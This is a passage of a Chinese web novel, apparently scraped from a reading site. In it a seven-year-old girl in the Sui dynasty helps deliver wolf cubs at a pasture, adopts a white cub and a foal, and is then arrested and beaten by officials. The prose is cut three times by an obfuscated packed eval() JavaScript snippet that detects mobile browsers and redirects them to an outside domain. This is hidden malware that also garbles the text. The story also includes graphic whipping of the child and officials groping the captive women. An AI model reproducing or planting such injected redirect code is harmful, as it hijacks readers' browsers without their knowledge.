这羊皮囊足有半人高,是将羊皮完整剥下鞣制成的,各个口子都细密缝紧,只留下个小口,注水和取水。 将淮山刮皮洗净后,剁成小块丢进了羊蝎子汤锅里。 待众人都围拢火塘,他在每人身侧都放了盆腌好宰成墩的羊肉,领着大伙儿穿。 竹扦子一端已被削尖,两三坨肥瘦相间的肉墩,贯上尖尖处,间或还有些羊下货混里头。 一旁的蔺娘子搭了个木梯子,爬上牧寮顶,捞了个吊着的小革囊,从中倒了把香料。 莫婤瞧着有小茴香籽、孜然、八角…… 蔺娘子都在石钵里锤了,洒在大伙儿穿好的羊肉上。 见众人都熟练后,蔺管事从床底搬出个铁架子,洗净擦干后,放火塘上烤。 火塘里烧得噼里啪啦,火舌舔舐着铁架,都臊红了。 蔺管事忙唤了大伙儿,将穿好的羊肉,尖朝里,一串串放上铁架子炙烤。 不多时,升起淡淡白烟,羊肉的肥膘被烤得焦黄流油,膏脂滑到火塘里,又溅起阵火星子。 蔺娘子还从柜顶掏出个装野蜂蜜的瓦罐,用羊毛刷给冒油的羊肉又裹了层蜜儿。 火炙下,肉香与蜜香,同火塘的烟火气纠缠。 一时间,屋子里能清晰听见,众人此起彼伏地咽口水。 “熟了,开吃开吃!” 见烤得全乎儿了,蔺娘子招呼大伙儿吃起来 此时钟管事的身后,已经藏了四五根竹扦子了。 “哇——” 方才太着急吃,没等得及蔺娘子刷蜜,嚼了口裹蜜儿的,深觉亏大了。 见钟管事吃得这般香,杨嫂子忙拎起一串欲入嘴,也不知是她没贯紧,还是流了油滑,羊肉滚进了火塘。 也不嫌脏,她眼疾手快,用竹扦子掏了灰,找到掉的肉刺紧,都不吹两口,一下塞进了嘴里,烫得“嘶哈——嘶哈——”也不吐。 赵妈妈同莫婤亦吃得喷香,根本没工夫笑他们,扯完根扦子,又拿起下一根。 众人吃得热火朝天,蔺娘子还翻了瓶野山楂泡的果酒,男人喝马奶酒,女人品果子酒。 馋得莫婤这个小娃娃,只能眼巴巴瞧着他们大口吃肉,畅快品酒。 羊肉串消得很快,不多时众人身旁便堆了一小摞竹棍。 此时,火塘上的羊蝎子也终于炖好了,咕噜咕噜地冒着泡。 给众人都盛一碗羊蝎子汤,蔺娘子用筷子将煮烂的羊蝎子肉扯下来,撕了满满一盘。 在盘子里洒上盐、胡椒粉和野葱末 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14044790|146029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还用锅铲瓦了勺羊油,烤滚后,泼在了肉上,瞧着像现代手抓肉的吃法。 油溅起香气,勾得众人纷纷动筷,蔺娘子还用铜锅里剩下的汤,扯了面皮煮。 吃饱喝足后,蔺管事拉着钟管事,谈论“国家大事”,为国操心。 莫婤同大娘们躺在草地上,谈天说地。 杨嫂子分享得最多的还是大厨房的八卦,还将张姨娘可心人瞒着她偷羊奶的事迹透给了蔺娘子。 想着杨嫂子可不是头一遭来选羊了,莫婤方知自个的名声,为何还传到了离长安城这般远的牧场。 她见杨嫂子不忌讳,还向其打听前些时日,在大厨房随手帮的细娘,燕姐儿。 “她家同你手下春桃家,一个模子。” 杨嫂子捡了个草棍边剔牙,边絮絮叨叨, “不过她瞧着可没春桃机灵,春桃那丫头多贼啊,比你还小些就知道使手段得老夫人身边人青睐,求了份好差事,还藏了钱在别的大丫鬟处,不给家里。” 说罢,杨嫂子朝一旁吐了口唾沫星子,面上满是鄙夷。 或觉当她讽春桃,落了她面儿,杨嫂子话音一转,又数落起燕姐儿的不是: “她老子娘生了九个,她个吊尾没人管的细娃,有冯娘子带着,守个米浆都能酸了。” “那冯婆子的活计,推到人细娘身上,也不害臊。” 莫婤没忍住,还是回嘴道, “那米浆这般重,她可提不动!” “切,也不知她是个憨的,还是装憨。” 杨嫂子见她变了语调,知她不喜,也不与她多争辩,只小声嘀咕了句。 躺在杨嫂子身旁的她自是听见了,心中却想:装憨才好呢,若是她,定要狠狠收拾冯婆子的。 不想被杨嫂子坏了心情,这瓜也吃不下去了,她顾自滚到一旁发呆。 牧场的天离她们好近,似伸手就能勾到,她举起手,尝试着抓黑色幕布上闪烁的星辰。 不知不觉间竟睡了过去,梦中正大口吃着羊肉,耳边忽然响起了牧笛声和牛角声。 她方睁眼,蔺娘子扛了她,往牧寮跑。 而牧寮中的蔺管事抱着满怀的艾草从里头冲出来,差点同她们迎面撞上。 首足倒置,她也不敢动,似看到一道道灰影在不远处闪过。 蔺娘子放下她,一手从火塘中抽了根火把,一手亦抱了堆艾草往外冲。 待她出去后,莫婤扒着门往外瞧,门的另一边赵妈妈和杨嫂子也探着头。 好家伙!不知从何处跑来这么多人,同蔺管事一道,正同狼群对峙。 是的,他们被狼群包围了。 “奇了怪了,狼群都跟我们很熟了,怎会突然围了牧场?” 离莫婤最近的年轻人,同身旁的汉子纳闷道。 见蔺娘子开始点艾草,他们也顾不上讨论因果,纷纷将手中艾草垒上去。 艾草的辛味散开后,灰狼三三两两跑了,头狼却还直直地立在前头,身后还坠着只狼,瞧着身形比头狼小一圈。 见众人皆戒备地盯着,头狼抵了抵身后的灰狼,亦一步三回头地走了。 这灰狼瞧着也被艾草熏得睁不开眼,却不离开,竟直直上前来。 35.进退两难 这灰狼缓步上前,前腿曲跪,后腿往天上顶,竟做个了鞠躬状。 “呦,是头母狼!” 随着母狼抬起的屁股,前头的汉子先瞧见了狼腹上的乳首,出声嚷嚷道。 “你瞧,这母狼还会哭呢!” 这汉子身旁的同伴看见的,却是母狼湿润的双眸。 火光下,母狼双眸旁深深的泪沟内,灌满了泪水,清晰可见。 而躲在汉子们身后的莫婤,除了瞧见母狼饱胀的乳首,更关注的是它下垂得厉害的肚儿。 “你们这些大老粗,给老娘让开!” 蔺娘子气沉丹田,吼开挡她前面的汉子们,快步上前。 “哎,你!” 蔺管事吓得躬身一捞,只被蔺娘子的裙摆打了脸。 瞧着婆娘愈走愈近,蔺管事也顾不上害怕了,亦追了过去,正巧望见蔺娘子在翻狼肚儿。 蔺管事吓得一个健步上前,正猜测婆娘约莫都缺胳膊断腿了,还告诫自己今后的日子定不能嫌弃她。 上前后,见蔺娘子还在完好无损地摆弄母狼,未等他松口气,就被婆娘拉着凑近了瞧。 “有啥好瞧的,不就是乳比旁的畜生大些,我有自个儿的婆娘瞧。” 蔺管事被压着,也不敢仔细盯,只好嬉皮笑脸,脱口而出糙话。 “我看你是脑子不灵光了。” 蔺娘子见他还有心思想些腌臜事,使劲拧住他的耳朵,还转了一圈。 “啊啊啊——我又没说错!” “我让你看肚子,你看乳,你瞧不见它怀了?” “我又没养过狼,何况它肚子上都是乳!” “你还顶嘴,我看你是昨夜太舒坦了?” 冲到一半的莫婤,听着这些对话,上前也不是,退后也不是,原地假跑,很是尴尬。 方才她见了母狼下跪,亦是躲不住了,趁赵妈妈不注意,一个闪身也跑了过来。 哪知,这大隋就是民风豪放,这般危急时刻,两口子还能调情,感情也是到位。 最终,还是蔺管事耳朵被拧得受不住,矮身哀求婆娘原谅时,蔺娘子瞧见了她。 “稳婆的闺女,这母狼好像难产了,快来帮忙!” 见莫婤过来,她懒得再同精虫上脑的男人多话,朗声喊了莫婤帮忙。 莫婤一面快步上前,一面心里直犯起嘀咕: 我虽然也很想帮,但我真的只会同人接生,我们那儿,这是兽医的活! 他们三人将母狼抬进牧寮,见火塘还有火光,蔺管事忙从羊皮囊中倒了盆水。 本欲一把泼熄火塘,却被站在他脚边的莫婤一把拖住。 “莫小娘子,这狼怕火。” 蔺管事见她不懂,还没同她解释完,就被蔺娘子三推两耸赶出了门。 “碍事的男人,女人生孩子不要热水啊,泼湿了,一会怎烧。” 蔺娘子一面骂骂咧咧关上门,一面尝试着抱起镇席的大石。 一块大石自是不够,莫婤亦上前去推另一角的石头,想帮着灭火。 但她还是力气太小,大石一动不动。 骤而,身旁伸出了一双手,莫婤一回头,原是赵妈妈。 此时,莫婤才听到,屋内似不止有母狼的哀嚎哭泣声。 往声源处望去,原是杨嫂子缩在墙角,翻裙蒙住头,嘤嘤地哭,手上还举着把短柄弯刀。 这弯刀原是在牧寮墙上挂着做装饰的,不知何时被她扯了下来,只是这刀也未开刃啊! “赵妈妈,你们咋不出去?”她边推巨石,边问道。 “还不是杨嫂子,说是浑身发软立不起来,我是拉也拉不动她。 自个不走就算了,死拽着我时倒是有力了?方才我把她揍服了,才脱了身。” 赵妈妈烦躁地恨了一眼躲着的杨嫂子,瞧着很是动气。 有赵妈妈的帮忙,大石很快就被推进了火塘,同蔺娘子那块一道,砸灭了火。 累得气喘吁吁,也来不及歇息,莫婤又扯了屋中剩下的艾草,铺在离火塘远些的地上,同蔺娘子一道将母狼抬上了艾草垫。 母狼侧着狼躯躺着,低低哀叫,肌肉时不时剧烈颤抖,一紧一松拼命使劲。 见没甚效果,它又朝旁滚了滚,一会儿立起来,一会儿抬臀,不断变换姿势。 血水、粪水淌湿了艾草垫,还是未见小狼头。 约莫又等了两刻钟,母狼筋疲力尽,用头顶了顶她们。 她们知它已尽力了,真的该她们出手了。 蔺夫人平日间若遇上牛马难产,也是要帮着生的,只是生死,对半分就是了。 但这头母狼若是救不好,不知狼群会不会报复啊。 也顾不上想这些了,蔺夫人按着帮小羊接生的法子上手。 一旁的莫婤更手足无措,她是帮人接生的,可没学过兽医这块,对帮狼接生一无所知啊。 她也只能按照帮人接生的法子,行动了。 蔺夫人净了手,只能三指并住,往母狼产道里伸。 莫婤抱起野蜂蜜,用火塘的余温化开,加了点水,勉强做成了润滑剂。 往里头摸了半晌,蔺夫人退出手,丧气道: “够不着,也不知因为啥!” “我来。” 莫婤同蔺夫人换了位置,用蜜水润了手,亦探了进去。 因着莫婤手小,还有润滑蜜儿,居然摸到了小狼肚,凭她上辈子接生人的经验推测,应是横着了。 再摸也够不着小狼头,她只好凭转婴儿的经验转小狼,幸而是将小狼头这侧转了过来。 还没来得及松口气,这放正的小狼头,还是抵在产道口上,出不了。 她心头一紧,不会是头太大了吧,若要进行侧切,这条件下,母狼可活不了。 一旁的蔺娘子见状,也上指摸了摸,低声骂道: “是两个臭小子要挤着出来!” 说罢,食指同中指拼命往里按,似在将一个小狼头往里推。 见此,莫婤忙往里倒蜜水润滑,同时帮着扯另一头小狼犊。 一推一扯,再加着润滑蜜,终是将第一头小狼犊子拽了出来。 因着没有第一头的阻挡,第二头小狼犊也顺利挤了出来。 见成功度过危机,她摸了摸虚弱的母狼头,缓声鼓励道: “后面的,靠你自己了!” 蔺娘子开了门,见外头围了一圈人,也不知是真担心,还是瞧热闹。 送上门的劳动力,蔺娘子使唤起也顺口,当即便吩咐这些汉子,或打水,或拎羊奶,或送艾草,或宰新鲜羊肉…… 母狼吃了羊肉,还给它倒了盆羊奶,足足生了大半宿,方产下七头小狼崽。 六头灰狼之间混着一头白狼,就是最先堵在产道口,被莫婤扯出来的小狼崽。 小白狼崽被母狼舔干净后,也不喝狼奶,非要滚来贴着她。 猜狼的初乳应同人的初乳一般有好处,她只能捉着它去吃。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14056344|146029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 见它喝饱后,又给它洗了热水澡,擦干后放在熄灭却还温热的火塘旁烘干,还给它裹了羊毛毯。 才生出来的小狼抵抗力应该也不行,它若感冒了,莫婤可不知道如何救啊。 待母狼恢复些体力后,便让小狼崽们或吸着奶,或爬上背,或嘴叼着,欲带它们离开。 “狼母,这儿还有一头呢?” 见它都要走了,莫婤忙将小白狼从羊毛毯中剥出来。 灰狼回头定定看了一眼后,果断扭头走了。 她从白狼眼中看到了不舍,难道是报恩? 蔺娘子却说,她瞧见的分明满是嫌弃。 “难道是怪它,害它难产?”一旁帮忙收拾的赵妈妈猜测到。 这时,一直藏着不出声的杨嫂子,揭开头罩,声都抖着,却还要刁嘴: “定是怕回去后,难同那灰狼交代!” “看来你是装怕啊,说人家装憨,原来是在瞧不起自个儿啊! 还知道只有这头是白的,瞧得够仔细啊,也不出来帮忙,懒货!” 赵妈妈想着方才,便一肚子火,出言讽刺。 “嘿嘿,透过裙帘瞧见的。” 杨嫂子讪笑,垂下的眼珠子提溜直转,口中还不肯停, “这母狼也够骚啊,狼头头都敢骗。” “杨嫂子,还有孩子在呢?” 正净完手的蔺娘子听罢,忙用包耳毡帽捂住莫婤的小耳朵,亦对着杨大嫂撒气。 “还孩子呢?都七岁了,再过两年要议亲了。” 杨嫂子一屁股坐到了火塘旁,顾自倒了碗羊奶喝,翻了个白眼,满不在乎道。 莫婤本想同她解释——两头灰狼是有概率生出白狼的。 如果两个灰狼都是杂合子,即它们的基因组合中既有灰色的显性基因,也有白色的隐性基因。 当它们□□时,每个幼崽都有四种可能的基因组合,所以这种情况发生的概率是1/4。 正想着怎么用大隋的说法翻译,听杨嫂子说要让才七岁的她嫁人,心中呸了一口。 老娘才七岁就要嫁人了? 心中憋闷,原不想再同她讲话,但见她悠闲地喝着羊奶,莫婤报复心上来了: “杨嫂子,这盆羊奶母狼舔过的。” “噗——呸呸呸!” 杨嫂子骤然起身,摔了碗,直往火塘里吐。 见她反应这般大,莫婤继续加磅: “方才母狼走时,身上的粪好像也掉进去了。” 说罢,还用勺子捞了捞,里头果然有些屎黄的沉淀。 杨嫂子听罢,拼命干呕,呕不出,还伸手去扣喉咙,吐得火塘到处都是。 里头自然不是什么粪便,只是掉进去的枯草。 赵妈妈捏了捏莫婤的小脸,同她耳语: “小促狭鬼!” 蔺娘子自也是知道,见杨嫂子只顾着吐,没注意到她们,还朝莫婤竖了个大拇指。 因着杨嫂子将火塘吐脏了,蔺娘子也不惯她,指着她鼻子骂她无理,押了她打扫火塘。 清理干净后,蔺娘子还往里头扔了些松脂、松果。 终是没有酸臭味了,莫婤闻着淡淡的松木香,躺在干净的羊毛毡上,裹着羊毛毯补觉。 杨嫂子才吐了一遭,肚儿中直叫。 因着蔺娘子恼了她,竟将屋中的食柜都锁上了。 杨嫂子见无人理她,也不给吃食,只能坐到水桶旁,靠灌凉水充饥。 36.古法奶油粥 待莫婤再睁眼,已是午后。 小狼崽原是在她脚边,不知何时滚进了她怀中。 一抬头,火塘上,正用吊锅熬着羊肉粥。 蔺娘子见她醒了,用铜壶中温着的水,领她洗漱后,让她帮着盯锅。 她防着糊锅的同时,又温了些羊奶喂小狼崽。 没见着高府其余人,莫婤出言询问: “蔺夫人,赵妈妈他们呢?” 这时蔺娘子正从壁龛中,取出了一个圆肚广口陶罐。 听她问话,一面用铜匙往里挖,一面回: “要瞧羊口嚼草,天微亮就去了。” 说罢,将铜匙放入羊肉粥内搅和。 莫婤探头探脑地瞧,难道是古法奶油?这看似普通的羊肉粥,竟还是一道时髦的奶油粥? “蔺夫人,这是?”她试探地问。 见她好奇,蔺娘子细细解释。 年年母羊配种的月份,羊奶就算日日往高府送,也仍堆满了牧寮。 放一阵子,就会有层奶膜浮在羊奶上。 起初,蔺娘子都是用竹片捞起奶皮扔进恭桶里,沤肥。 一次无意间滴手上,舔掉时,才惊觉美味,便存了起来。 煮羊肉粥或汤饼时,就算无别的开胃菜,只要在里头添上一勺,亦能干下一大碗。 待奶油粥熬好后,莫婤捧着蹲在门前,一面吃,一面瞧着蓝天绿地。 不一会,小马驹晃晃悠悠出现在她眼前。 “呵——” 蔺娘子亦端着碗,正同她排排蹲着,见此,嗤笑一声道: “快吃了去同它顽,它今儿可太勤快了,在我这门前晃悠三四趟了。” 听罢,莫婤三两口喝了,就朝小马驹冲去,抱着它的脖子顺顺毛,又同它贴贴。 小马驹还挺傲娇,先是闹别扭,装不理她,待她哄好后,才又亲密地蹭她。 同它亲热后,莫婤尝试着自己蹬脚踏,翻上马背,轻踢马肚,跑了起来。 牧场上充斥着哒哒的马蹄声,和莫婤畅快的欢呼声。 待她跑得一身汗回来时,正碰上牧场汉子送来了两桶马奶。 因蔺管事总同钟管事畅饮,蔺娘子存的马奶酒都被他们霍霍光了。 因此,她一早便让马场汉子傍晚挤奶后,送些来,好做马奶酒。 莫婤见状,忙净手帮忙,顺之向其请教。 蔺娘子先点起火塘,架口大锅,将马奶倒入铁锅中烧沸。 同时还撸了袖子,手持马尾捆成的刷子,洗了个陶瓮,在陶瓮上盖了层粗纱。 让她帮忙扯紧粗纱,蔺娘子拿水瓢将锅中煮沸的马奶,一勺勺浇到纱上,筛掉其中的马鬃和草籽。 再将皮囊中剩得不多的马奶酒,混入其中作引子。 搅拌均匀后,蔺娘子让她帮着抬到了火塘旁,蒙上了圆木盖子。 “每日搅个两三次,在火旁闷三四天,就成了。” 蔺娘子见她瞧得仔细,将窍门都交予她。 因蔺管事午后便派人告知,他们晚膳不回来用,傍晚蔺娘子也难得松快。 从墙上切了刀风干羊肉,将肉扯成丝,撒上些胡椒粉和盐。 二人围着马奶锅,嚼着羊肉干,腮帮子鼓鼓的,吃得眼都眯成了一条缝,手还能精准伸入石盘。 马奶涨肚儿,吃完后,蔺娘子带着她在牧寮旁溜达。 她想到一路上的景象,又旁敲侧击地问: “夫人,我见牧场有些小水洼,是雪融了?” “是啊,今年雪融得早,不然你这次来可不得趣了!” 今年冬日雪降得尤其早,还总是雨雪交加,蔺娘子他们存的草料早就用完了。 从周围农户手中收麦秸都收了三波,搞出了天价草料。 “前些日子,都用马粪烤了取暖,那滋味可不好受。” 蔺娘子一面说着,一面皱鼻,甚至还想干呕。 大隋的牛多用于耕地,因而牧场极少养牛,马粪烧起来可比牛粪臭多了。 说完,蔺娘子直犯恶心,莫婤亦是心中一凛。 她穿来时,正值严冬,只觉北方冬日就是雨雪多。 这般想来,在北方亦不寻常。 春日这般多的雪水化成雨水,发大水又添一员猛将啊! 夜间,高府其余人,将选好的肥羊都拉了回来,栓到了牧寮外的木桩上。 她借着月光数了数,竟有五头绵羊,三头山羊,还有两头小羊羔。 两头纯白,三头黝黑,余下的都是杂毛儿的。 她方数完,便瞧见杨嫂子躺在一块草席上,也是被拉回来的。 “这是怎么了?” 莫婤见她这般惨状,来了兴致。 “哼,也不知偷嘴吃了啥,闹肚一日了,光耽误事。” 钟管事冷哼一声,甩了袖子,很是不高兴地走了。 见他走远了,赵妈妈方同莫婤八卦: “今个杨嫂子一路放浊气,一路闹肚,臭气熏天,连羊都跑得远远的,钟管事可是被熏了一路。” “赵妈妈,你受得了?” 赵妈妈给了她一个眼神,随即从鼻中掏出两团搓小的艾叶道: “昨个帮忙收拾完,我顺手装了些艾草在荷包里,一闻见臭,我就薅了叶子塞鼻里了。” 莫婤连夸赵妈妈会变通,还没等赵妈妈臭美完,她们就被众人叫进了屋。 大伙儿围坐着,杨嫂子躺在一旁,还要凑个脑袋,皆瞧着中间瑟瑟发抖的小白狼崽,商量它的去留。 “我们本是可养,只是这牧场这般多羊。”蔺管事犹犹豫豫地说。 蔺娘子也低头,扯着羊毡的毛边。 “反正我是不会养这畜生的!”杨嫂子急忙表态。 赵妈妈听罢,没忍住,翻了她个白眼。 “古话说,白眼狼,这……”钟管事亦欲言又止。 “狼可忠诚了,人家还是一夫一妻制呢!” 莫婤闻及,愤愤不平,心道: 还有脸说狼,你们大隋男人三妻四妾还比不上狼呢! “切,那你养啊,可是你救的。” 杨嫂子激动地昂起上半身,趁机对莫婤施压, “哎呦,哎呦,又要忍不住了!” 威风还没耍完,她又开始窜稀,叫苦连天,手足并用往外爬,欲去茅房。 可惜整日粒米未进,没甚力气,一动还放出一连串臭屁,眼瞧着就要拉草席上了。 备受折磨一日的钟管事都形成了条件反射,飞快起身拽上草席,将她丢了出去。 而这头,莫婤瞧着被众人推来推去的小狼崽,硬声道:“我养!” 说罢,她一把捞起小狼崽,揣进了怀里,摸着它去了屋外,看星星。 屋中这般臭,此时不跑更待何时! “你可想好了?”蔺娘子跟出来,轻声问她。 “想好了,有我一口肉,就有它一口肉。”她洒脱地说。 蔺娘子以为她是孩子义气,又同她商量: “要不将它放进山林,母狼应会找到它。若不是养着羊,我也想养小狼崽,说出去多威风啊。” “没事,我养得起。” 莫婤摇摇头,若将它丢到山林,万一狼母没找到呢? 这可是一条命,她不敢赌。 “对,养就养了,长安城还有驯虎人家,还怕高府养不起小狼崽。”赵妈妈亦出声鼓励道。 她是对这些小动物没甚兴趣,但可不是怕了。 见赵妈妈亦是支持,莫婤更放心了,带着小狼崽进屋歇息了。 翌日一早,他们便该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14068571|146029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 返回高府了。 蔺管事和蔺娘子骑着高头大马,带头送他们。 行了不过一里路,就听见马车后,传来哒哒疾行的马蹄声。 喝停马车,众人回头,一朵白云乘风而来。 待云飘近,才见着是一匹粉白的小马驹。 “小马儿!” 莫婤惊呼,跳下马车,挂住了它脖子。 早上走得匆忙,她在牧场找了一圈,都没瞧见它。 “它生性自在,我也不知它在哪。” 蔺娘子瞧她眼巴巴地问自己,也没法给出答案。 见钟管事又在催了,赵妈妈只好将她塞进了马车。 掀开车帘,她一直望,直到望不见牧场了,方遗憾放弃。 谁知,小马驹竟自己追来了。 “嘶——” 小马驹也用头追着莫婤蹭,逗得她咯咯直乐。 重逢的喜悦后,又是分别。 莫婤很是舍不得,小马驹也一直挨着她,不走。 “蔺娘子,能不能将小马驹卖给我。”莫婤摸着小马驹,哀求道。 “它这么喜欢你,我可拉不回去,送你了。”蔺娘子豪迈道,还瞪了一眼扯她的蔺管事。 莫婤摇摇头,爬上马车,抱下行囊中的扑满。 “砰——” 随着一声脆响,扑满砸碎了,她将里面的钱挑了出来。 这些钱都是莫婤卖酸奶捞赚的,足足有五吊。 买一匹普通小马驹自是够了,但她并不认识马种,只隐隐觉得小马驹应很贵,更何况上面还有一匹上好的鞍呢。 蔺娘子见莫婤坚持,便收下了,还又送了她一套马刷和马蹄铁。 抱着蔺娘子送的物件,她欲上马车,没走几步就被小马驹衔住裙儿,轻轻将她往自己背上拽。 正欲上马,忽觉肚上一沉,小狼崽不知何时窜了出来,粘上了她肚子。 “你不是猫吧,怎这么粘人?” 莫婤一面捞起它,一面乐颠颠地骑上小马驹回城了。 回城的路上,经过那座破庙,众人又欲进去歇脚,却见破庙斑驳的木门上,贴了大大的封条。 门外还守着一队官差,各个肃着脸,头戴黑软脚幞头,腰束革带,悬着环首刀。 “官爷,此间出了何事?” 钟管事下车,同门前把守的官差套近乎。 “不该你打听的,别瞎凑热闹。” 官爷不耐烦赶人,不让钟管事靠近。 莫婤亦是好奇,拿了蔺娘子给她装的马奶酒,给官爷们倒了一竹筒。 “官爷们,我们能进去歇脚吗?” 见官差们皆喝了,还满意地讨论着口感,她忙出声问道。 “去去去,里头都出人命了,你们还敢进去歇?” 官差们酒是喝了,出了何事却还是不肯讲。 幸而莫婤的问法,让众人知道,里头死了人。 马车前行,她心中坠坠不安,行及关卡处,还被拦下车马搜查。 盘问了钟管事的贴身弓弩,查看了赵妈妈的红宝石匕首,更是将莫婤的飞镖翻来覆去瞧了个遍。 莫婤指着上头吴娘子自刻的标识,赵妈妈又朝翻看的人手心塞了个银裸子,这官差才终于把飞镖还给了她,让他们通行了。 莫婤心中大骂隋朝官吏黑暗,将此人浑身上下嘴了个遍。 “驾——驾——” 还未走远,方才那队官差骑马疾行追来,将他们拦下。 赶他们下马后,竟押了他们,要送他们入牢房。 “走,快走啊!” 杨嫂子闹肚还未好,被推着也走不快,官差用麻绳捆了她双手,拴马脖上,随着马跑。 见莫婤这般小,亦觉她碍眼,绳也捆不住小手,干脆将麻绳套上了她脖子。 第37章 “官爷,这可使不得。” 一旁正同钟管事一道,与这官差头头讲理的赵妈妈见状,忙奔了过来。 原本不欲与官差们起冲突的高府护卫们,也挣脱了扣押,围了上来,将莫姻团团挡住。 “怎么,你们真想造反!快让开!” 众官差见他们竟还敢反抗,纷纷拔出刀来。 钟管事一面叫高府护卫们不要轻举妄动,一面又摸出了怀中的路引。躲在众人身后的莫姻,见势不妙,立即撕下一截裙摆。 用飞镖割破手指,沾血书写后,她把一直按在前襟内的小狼崽掏了出来。将裙布塞进它的口中道: “小狼崽,这是我的气味,上面我写了字,记得吐给蔺夫人。”说罢,也不管它能否听懂,又将它塞回怀中。因着她还小,内里根本没穿胸托等物,只罩了个挂脖小衣。 见两方人马还在对峙,未曾注意到她,她又撕了小衣下摆,把荷包、飞镖等防身、必备之物都塞了进去。再用撕破的下摆打了个紧结,勉强兜住。 “我是瞧了,但这路引分明是伪造的。” 那官差高声嚷道,趁高府护卫们被钟管事呵住,未反抗之际,又喊了众官差,将他们都捆了。薅开捆住,不能动弹的高府护卫,这官差走上前,欲捉了莫姻,套上麻绳。莫绸一个闪身,从他腋下钻了过去,直冲向不远处的小马驹。 “快,快给我拦下她!” “再跑,罪加一等!”“你这小娃娃,跑得掉吗?” 身后的官兵,虎背熊腰,三两步大胯,眼瞧着就要追上来了。 莫绸知自己是跑不掉了,忙掏出小狼崽,一把抛到小马驹的背上,对着小马驹喊:“小马儿,快回牧场…… 啊——” 话还未说完,身后的官差追了上来,从后狠狠抽了她一马鞭,将她踹翻在地。正欲再多抽她几鞭子,便见那畜生似真能听懂人话般,向前飞奔。见状,这官差欲跨上身旁的马匹,去追,却被摔在地上的莫绸一个巧劲放倒后,死死抱住。 “你们快去追啊!” 一时摆脱不了她,官差气急败坏地叫了同伙去追,接着又同莫姻撕打起来。她人小,力气小,跟吴娘子学的那两招,自是打不过这五大三粗的官差。 官差抵住她,将她的脸狠狠按进泥里,反手押了她,死命踹了几脚。 莫姻口鼻中,全是泥腥味,一面忍着干呕疼痛,一面在心里默默祈祷: 小马儿,你快跑啊,你一定得是千里马啊!这官差踹了她,还不解气,又抽出马鞭笞她。 冬末初春,今岁虽冷得早,但晨间仍有几分寒凉,莫姻穿得还算不薄,却还是被打得皮开肉绽。太疼了,太疼了,身上似有无数地刀在刮,要剃掉她的肉,露出森森白骨….莫姻觉自己已失去了其他的知觉,只剩下了疼。 "追到了?" “没用的废物——” 耳边隐隐约约传来呵斥声,她意识逐渐模糊。 ——""呕- 莫姻忽觉喘不上气,一阵窒息感袭来,又疼又憋,似有人在掐她。迷迷糊糊睁眼,伸手扣脖子,她颈上还是被套上了麻绳。赵妈妈背着她,双手却也被麻绳捆着。只要赵妈妈走得稍慢,她的脖颈就会被麻绳紧紧勒住。这些官差就用着这个法子,让赵妈妈半步不敢停歇。“姻姻,醒了,赵妈妈再快些,就不会再勒到你了。”赵妈妈见莫姻被勒醒,又加快了脚步。 "赵妈妈,我自己走,您太累了。" 瞧着赵妈妈喘着大气,额上布满密汗,她自是不肯缩头乌龟般趴在赵妈妈背上,挣扎着下地,自己走。只是没走两步,就又重重摔在地上。 浑身都疼,莫姻咬牙,正欲为自己打气爬起,便被脖子上的绳子往上吊。一瞬间,窒息感铺天盖地朝她涌来,直到她爬起方歇。 “咳咳咳——” 她不住地咳,一面恶心得想吐,一面还要拼命往前赶。 一手被赵妈妈搀扶,一手使命拽着颈上的麻绳,不让它勒到自己,产生不可控的憋闷。就算手心被割得全是血痕,粗麻反复在伤口处摩擦,如同软刀子割肉般痛,也不敢放松。因为,这一刻她才体会到,窒息原来比疼痛可怕无数倍。不知又走了多久,官差们终是不再一眼不眨地盯着莫姻了。她悄然从小衣中,掏出飞镖,藏在掌心,磨麻绳。吴娘子给的飞镖很是锋利,三两下便将麻绳割开了。 为了不被发现,莫姻忙用手将断处包住,装作窒息的模样,跟着继续走。 “进去——” 官差一把将赵妈妈搡进牢房,又拎过莫姻,丢进赵妈妈怀中。 杨嫂子也被扔了进来,本就闹肚儿,未吃多少东西,又被马拖着走了这般久,瞧着已出气多、进气少了。进牢房前,官差们还扒了她们的襦裙,撸掉了她们身上的首饰,连杨嫂子的耳珰都被连着皮肉扯了下来。怕她们私藏物件,又拆了她们的头发,拔掉了她们的鞋袜,最后竟连她们的胸托都扯开来,仔仔细细地摸。 杨嫂子尖叫着,却无力反抗,莫姻也挣扎着,对着官差拳打脚踢,还咬了他们几口,被扇了一嘴的血。 眼见着这些官差要摸进她的小衣了,赵妈妈冲过 来将她死死抱在怀中,蒙着她的眼,捂住她的小耳朵,挡在她身前被这些畜生上下其手,还不忘苦苦哀求: “官爷,她这般小,身上是断没别的东西了。” 